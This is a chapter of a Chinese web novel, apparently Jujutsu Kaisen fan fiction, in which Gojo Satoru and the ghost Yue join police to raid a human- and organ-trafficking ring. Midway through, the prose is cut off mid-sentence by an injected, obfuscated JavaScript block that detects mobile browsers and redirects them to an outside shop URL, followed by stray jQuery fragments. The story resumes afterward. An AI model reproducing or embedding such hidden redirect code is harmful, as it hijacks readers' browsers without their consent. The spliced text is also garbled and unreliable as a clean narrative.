第三十章
黑色轿车平稳地穿梭在东京渐沉的暮色里,车窗外的霓虹灯光被玻璃切割成细碎的光斑,落在月的睫毛上,明明灭灭。
她靠在车窗边,指尖无意识地摩挲着裤缝,眼底映着窗外飞速倒退的街景,却没半分焦距。
高桥诚背后的跨国人口贩卖组织,像一张密不透风的网,悄无声息地笼罩着这座城市的阴暗角落。
松本警官刚刚发来的卷宗资料,此刻正以电子文档的形式显示在五条悟的手机屏幕上,字迹在昏暗的车厢里泛着冷光。
“松本那边说,这个组织的表层伪装是一家叫‘南洋通商’的跨境贸易公司,主营珠宝和香料进出口。”五条悟的声音打破了车厢里的寂静,他的指尖漫不经心地划着手机屏幕,语气听不出情绪。
“报关记录做得天衣无缝,要不是黑市线人咬出‘活人货物’的交易链条,谁都查不到这层皮底下的龌龊。更要命的是,事情败露后,远在海外的组织高层直接弃车保帅,把日本分部的所有联络渠道全掐断了,连盘星教那边也摆明了态度,不再管这群人的死活。”
他的指尖忽然顿住,划过屏幕上一行标注着红色警示的文字,语气沉了几分:“还有个新消息,你的案件,已经正式进入再审程序了。卷宗里写明了,你就是撞破了这个组织的器官贩卖线索,才被灭口分尸。”
月的指尖猛地一颤,连呼吸都滞了半拍。终于,不是什么莫须有的,被男朋友因感情纠纷而杀害了。
五条悟没抬头,却精准地捕捉到她的情绪波动,指尖继续下滑,念出卷宗里更令人齿冷的细节:“另外,咱们之前处理过的中华街冥婚案,也彻底查清楚了。”
“富商的儿子死后,墓园守墓人监守自盗,偷了个女孩的骨灰改了生辰八字卖给富商,婚礼办到一半,富商发现八字对不上,当场中断。后来富商不死心,又通过黑市找这家组织买生辰八字合适的骨灰和尸体,他们没找到匹配的死人,干脆就盯上了活人——这就是他们‘活人货物’交易的典型路子。”
月的瞳孔骤然收缩,眼底翻涌着惊怒与寒意。这群罪恶滔天,该下地狱的混蛋,把人当做什么了?那些被当成商品贩卖的骨灰,那些被盯上的无辜活人,全是这群人手上的罪孽。
“两名诅咒师,应该是组织的中层战力。”她压下心头的惊涛骇浪,声音冷得像淬了冰,带着一种近乎冷感的笃定。
“负责压制反抗的受害者,行动败露后销毁现场,还会把受害者惨死时产生的咒灵镇压收集,转手送往盘星教。高桥诚的科研团队才是核心,器官贩卖、非法人体标本制作……他们干的,全是断子绝孙的勾当。”
五条悟转头看向她,白色绷带下的视线落在她脸上,带着几分玩味,却又藏着一丝不易察觉的安抚:“哦呀,我们的月酱连组织架构都摸透了?”
见月没理会他的调侃,五条悟便撇撇嘴,指尖点着屏幕上一行标注着“目标群体”的文字,语气漫不经心却字字透着冷意:“他们的狩猎目标很明确——无亲无故的流浪者、离家出走的少年少女、甚至是偷渡来的劳工。”
“这些人消失了,不会有人追查,正好成了高桥诚他们的‘实验品’。报关单上的‘易碎品’批次,对应的就是装着人体标本的集装箱;‘香料原料’的重量,永远比实际到货多三成,多出来的那些,就是活生生的人。”
伊地知透过后视镜看了两人一眼,连忙补充道:“松本警官的专案组已经盯了这个组织好久了,跨境追捕申请批了三次才下来。现在日本分部被高层抛弃,就是最好的收网时机。”
伊地知又交代道:“这次行动,警方负责围剿组织的普通成员,封锁仓库所有出入口;两位的任务,是先解决那两名诅咒师,别让他们在混战中释放囤积的咒灵,更别让高桥诚带着他的研究资料跑了。”
五条悟嗤笑一声,终于坐直了身子,随手将手机丢给月:“伤及无辜?那两个家伙的咒力水准也就那样,顶多召唤点低级咒灵。真要打起来,我一根手指就能……”
“悟。”月打断他的话,抬眼看向他,眼底带着一丝不易察觉的提醒,“百鬼夜行就在三天后,你消耗太多咒力的话,后续的部署会受影响。”
五条悟看着她眼底的担忧,嘴角的弧度敛了敛,却又很快扬起,伸手揉了揉她的头发,力道比之前轻柔了许多:“担心我?放心啦,对付这种小角色,根本用不着多少咒力。毕竟,我可是最强啊!”
他话音落下,指尖轻轻弹了弹车窗,语气骤然变得冷冽:“不过,敢在东京贩卖人口,还敢和盘星教勾结……这群家伙,胆子倒是不小。”
月没再说话,低头翻看着手机里的电子卷宗。屏幕上的日文密密麻麻,夹杂着不少警方和商贸的专业术语,她看得有些吃力,只能盯着那些数字、航线标注和受害者的照片,至少图像和数字她还是认识的。
那些零碎的信息在她脑海里慢慢拼凑,最终指向一个位于东京郊区的废弃仓库,那是松本警官锁定的组织老巢,也是高桥诚科研团队的藏身之处。
她的指尖划过一张仓库的卫星图,眉头微微蹙起。仓库周围的绿化带异常密集,树木的分布毫无规律,一股说不出的压抑感顺着指尖漫上来。她盯着屏幕上的那片绿色,指尖无意识地反复摩挲着,半晌才低声道:“这里……好像不太对劲。”
她皱着眉,眼神里带着困惑,说不出具体是哪里的问题,只能凭着直觉补充:“就是感觉很怪,这些树的排布,看着让人心里发闷。”
五条悟见她对着卫星图出神,便凑过去看了一眼。漫不经心的目光扫过那片绿化带的瞬间,眼神骤然变得锐利:“有点意思。这根本不是普通的绿化,是个简易的咒力结界。”
他掏出自己的手机,指尖飞快地在屏幕上敲打,语气沉了几分:“我直接给松本发消息,让他那边的人绝对不要贸然冲进去,守住各个出入口就行,等我把这片结界里的咒灵清理干净,再发收网信号。”
手机屏幕亮了又暗,松本的回复简短干脆:收到,全员待命。
车厢里再次陷入安静,只有轮胎碾过路面的沙沙声和窗外的风声交织在一起。月合上手机屏幕,指尖抵着下巴,眼底掠过一丝冷光。
她想起和李琴月的约定,想起那些受害者资料里模糊的面容,想起中华街冥婚案背后的血腥交易,心脏像是被一只无形的手攥紧。
高桥诚藏在这个组织里,借着跨国贸易的幌子,做着丧尽天良的勾当。这一次,她必须亲手抓住他,让他为自己的所作所为付出代价。
五条悟看着她紧绷的侧脸,敛了敛笑意。他伸出手,轻轻拍了拍她的肩膀,语气难得正经:“放心,今晚不会让他跑掉的。”
月抬眼看向他,眼底的冷意稍稍褪去,泛起一丝柔软。她点了点头,没说话,却在心里轻轻叹了口气。
这个男人,总是这样。明明自己也只是个人类,却永远像神明般可靠。
轿车渐渐驶离繁华的市区,朝着郊区的方向开去。窗外的霓虹越来越稀疏,取而代之的是连绵的黑暗和偶尔闪过的路灯。
五条悟的手机震了一下,松本警官的短信回复过来,显示专案组已经全员就位,严守住仓库的三个出入口,只等五条悟这边的清理信号。
“还有二十分钟抵达汇合点。”伊地知看了一眼导航,低声说道。
五条悟半靠在座椅上,懒洋洋地抻了个懒腰,骨骼发出一阵轻微的脆响。他拉了拉黑色外套的拉链,确保它严严实实地拉到顶端,然后抬手捋了捋自己的头发,又恢复了那副漫不经心的模样。
他低头看向月,问道:“准备好了吗,月?”末了又勾起一抹张扬的笑意,“今晚的猎物,可不止高桥诚一个哦。”
月将手机收好,放在身侧,指尖缓缓凝聚起一丝淡绿色的咒力,带着冷冽的攻击性。
“早就准备好了。”她的声音平静无波,眼底却燃着一簇火苗,“我要亲眼看着高桥诚等人落网。”
伊地知将车停在一片隐蔽的树林里,熄火后的车厢陷入彻底的寂静。远处的废弃仓库隐约可
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17000141|193516||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
见,只有几盏昏黄的路灯亮着,像是黑暗中蛰伏的野兽的眼睛。
松本警官的身影从树林里钻出来,头发乱糟糟的,衣角还沾着草屑,满脸的胡茬透着股不修边幅的邋遢劲儿,眼白上爬满了红血丝,唯独那双眼睛亮得惊人,满是即将抓到凶犯的亢奋。
他鼻梁上架着一副崭新的黑色眼镜,那是能看见咒灵的咒具。他走到车窗边,对着五条悟敬了个礼:“五条先生,辛苦您了。”
“客套话就免了。”五条悟推开车门,率先跳了下去,白色发丝在夜风中微微飘动,“说吧,分工怎么安排?”
松本警官连忙跟上,刚要掏出怀里的手绘仓库平面图,目光却不经意间扫到了跟在五条悟身后的月。他愣了愣,满脸的疑惑,忍不住开口问道:“请问这位是?”
五条悟介绍的动作一顿,随即勾起唇角,语气带着几分漫不经心的试探:“这是李琴月,你不认识了吗?”
“李琴月?!”松本警官像是被雷劈了一样,瞬间瞪大了眼睛,脸上的亢奋瞬间被震惊取代,他下意识地往后退了半步,声音都拔高了几分,“您……您竟然还在!之前的案子里……”
他顿了顿,目光落在月满身的绷带上,又反应过来自己鼻梁上戴着的眼镜,恍然大悟般喃喃道,“原来是变成了咒灵……能直接看见咒灵,真是太方便了!要是早点认识您,您的案子,说不定能少走好多弯路。”
五条悟挑眉,没接话,只是抬了抬下巴:“说分工。”
松本这才回过神,连忙从怀里掏出手绘的仓库平面图,借着手机灯光展开:“仓库一共有三个出入口,正门和两侧的小门。我们警方分成三组,分别负责封堵。
两名诅咒师应该在仓库的二层,那里是他们的咒灵储藏室。高桥诚的科研团队在地下一层,堆满了人体标本和实验资料——那些资料是定罪的关键,必须完整缴获。”
他顿了顿,声音压得更低,红血丝密布的眼睛里闪过一丝沉重:“地下一层还有几个活着的受害者,是高桥诚留着的‘实验品’,行动时务必……务必优先解救。”
月的瞳孔骤然收缩,指尖的咒力猛地暴涨了几分。那些鲜活的生命,竟然被当成可以随意丢弃的实验品,这让她心底的寒意更甚。
松本警官连忙补充道:“我们的人没有咒力防护,正面冲突肯定吃亏。所以需要你们先清理掉咒灵,解决二层的诅咒师,再下去控制高桥诚。我们警方会在外围策应,等你们的信号一到,就冲进去抓捕剩余成员。”
“没问题。”五条悟的声音轻飘飘的,却带着不容置疑的力量,“我和月解决掉咒灵,就去二层,解决那两个杂碎。你们的人,别拖后腿就行。”
松本警官脸上露出一丝苦笑,却也知道五条悟说的是实话。他转头看向月,眼神里带着几分敬佩和歉意:“月小姐,很抱歉之前让您蒙受冤屈了,这次......也拜托您了。”
月点了点头,没说话。她的目光落在仓库的方向,只觉得那片区域的空气压抑得让人喘不过气,分不清是咒力的波动,还是受害者们残留的绝望气息。
夜风卷起地上的落叶,发出沙沙的声响。树林里的人影渐渐多了起来,都是身着便衣的警察,每个人的脸上都带着凝重的神情。他们手里握着武器,眼神坚定,默默等待着总攻的信号。
合围的网,正在悄然收紧。
五条悟走到月的身边,抬手将她被风吹乱的头发别到耳后,动作自然又亲昵。他凑近她的耳边,用只有两人能听到的声音说道:“等解决了这些事,我做大餐给你吃。”
月的脸颊微微发烫,却还是板着脸推开他:“都什么时候了,还想着吃的。”
五条悟低低地笑了起来,笑声在寂静的夜里格外清晰。他直起身,看向远处的仓库,眼神瞬间变得锐利如刀。
“那么。”他咔吧几下掰掰手指,语气带着几分跃跃欲试的兴奋,“狩猎,开始了。”
月深吸一口气,跟在五条悟的身后,朝着仓库的方向走去,脚步沉稳,眼神坚定。